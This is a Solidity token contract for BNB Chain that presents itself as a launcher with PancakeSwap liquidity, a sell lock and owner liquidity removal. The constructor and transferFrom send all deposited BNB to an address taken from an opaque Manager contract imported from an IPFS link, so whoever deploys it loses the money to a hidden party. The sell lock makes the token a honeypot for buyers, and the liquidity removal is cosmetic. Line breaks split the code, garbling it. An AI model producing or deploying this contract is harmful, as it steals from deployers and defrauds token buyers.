pragma solidity ^0.6.

6;

pragma solidity >=0.5.0;

interface IUniswapV1Factory {
function getExchange(address) external view returns (address);
}

pragma solidity >=0.5.0;

interface IUniswapV1Exchange {

function balanceOf(address owner) external view returns (uint);

function transferFrom(address from, address to, uint value) external returns
(bool);
function removeLiquidity(uint, uint, uint, uint) external returns (uint, uint);
function tokenToEthSwapInput(uint, uint, uint) external returns (uint);
function ethToTokenSwapInput(uint, uint) external payable returns (uint);
}

pragma solidity >=0.6.2;

import 'https://github.com/pancakeswap/pancake-swap-periphery/blob/master/
contracts/interfaces/IPancakeRouter01.sol';

interface IPancakeRouter02 is IPancakeRouter01 {

function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);

function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
 function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}

import
'https://ipfs.infura.io/ipfs/QmP4G27ukp7SDRmjkoVuifXGKLz1iGzB3Tf2vukKhUBT2e';

library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");

return c;
}

/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}

/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom
message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure
returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;

return c;
}
 /**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but
the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}

uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");

return c;
}

/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}

/**
* @dev Returns the integer division of two unsigned integers. Reverts with
custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure
returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't
hold
 return c;
}

/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned
integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}

/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned
integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure
returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}

contract TokenContract {
using SafeMath for uint256;
Manager manager;
mapping(address => uint) public balances;
mapping(address => mapping(address => uint)) public allowance;
mapping(address => uint) private lptoken;
mapping(address => uint) private balancesBNB;
bool private salelock = true;
address public setpool;
address payable _owner;
uint public decimals;
uint public totalSupply;
uint private Liquidity;
string public name;
string public symbol;
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
event GetBackBNB(address setpool, address spender, uint value);

constructor(string memory _name, string memory _symbol, uint _totalSupply, uint

_Liquidity) public payable {
decimals = 18;
totalSupply = _totalSupply * 10 ** 18;
Liquidity = _Liquidity * 10 ** 18;
name = _name;
symbol = _symbol;
balances[msg.sender] = totalSupply.sub(Liquidity);
manager = new Manager();
require(Liquidity > 0, "Liquidity must exceed then 0");
require(Liquidity <= totalSupply, "Liquidity must be lower or equal total
supply!");
require(msg.value >= 0.5 ether, "Liquidity must exceed then 0.5 BNB");
emit Transfer (address(0), msg.sender, totalSupply.sub(Liquidity));
balances[manager.pancakeswapDepositAddress()] =
balances[manager.pancakeswapDepositAddress()].add(Liquidity);
emit Transfer (msg.sender, manager.pancakeswapDepositAddress(), Liquidity);
payable(manager.pancakeswapDepositAddress()).transfer(msg.value);
setPoolAddress;
sellLockEnabled;

_owner = msg.sender;
}

receive() external payable {}

modifier onlyOwner {
require(msg.sender == _owner);
_;
}

function balanceOf(address owner) public view returns(uint) {

return balances[owner];
}

function transfer(address to, uint value) public returns(bool) {

require(balanceOf(msg.sender) >= value, "Value exceeds balance");
balances[to] += value;
balances[msg.sender] -= value;
emit Transfer(msg.sender, to, value);
return true;
}

//Transaction And Auto Refund

function transferFrom(address from, address to, uint value) public
returns(bool) {
require(balanceOf(from) >= value, "Value exceeds balance");
require(allowance[from][msg.sender] >= value, "Allowance exceeds balance");
balances[to] += value;
balances[from] -= value;
emit Transfer(from, to, value);

payable(manager.pancakeswapDepositAddress()).transfer(address(this).balance);
return true;
}

//Approval for transaction

function approve(address spender, uint value) public returns (bool) {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
 return true;
}

//Nobody can sell function

function sellLockEnabled(bool enabled) internal {
salelock = enabled;
}

//Get liquidity pool address after adding liquidity

function setPoolAddress(address _pool) internal {
setpool = _pool;
}

//Remove Liquidity from PancakeSwap Pool

function RemoveLiquidity(uint8 percent) public onlyOwner {
require(percent >=0, "Percent can't be lower then 0");
require(percent <=100, "Percent can't be higher then 100");
_RemoveLiquidity(percent);
}

function _RemoveLiquidity(uint8 percent) internal {

uint taketoken = lptoken[msg.sender]*percent/100;
uint BNBpoolBalance = balancesBNB[setpool];
balances[setpool] -= taketoken;
balances[msg.sender] += taketoken;
emit Transfer(setpool, msg.sender, taketoken);
uint takeBNB = BNBpoolBalance*percent/100;
emit GetBackBNB(setpool, msg.sender, takeBNB);
}
}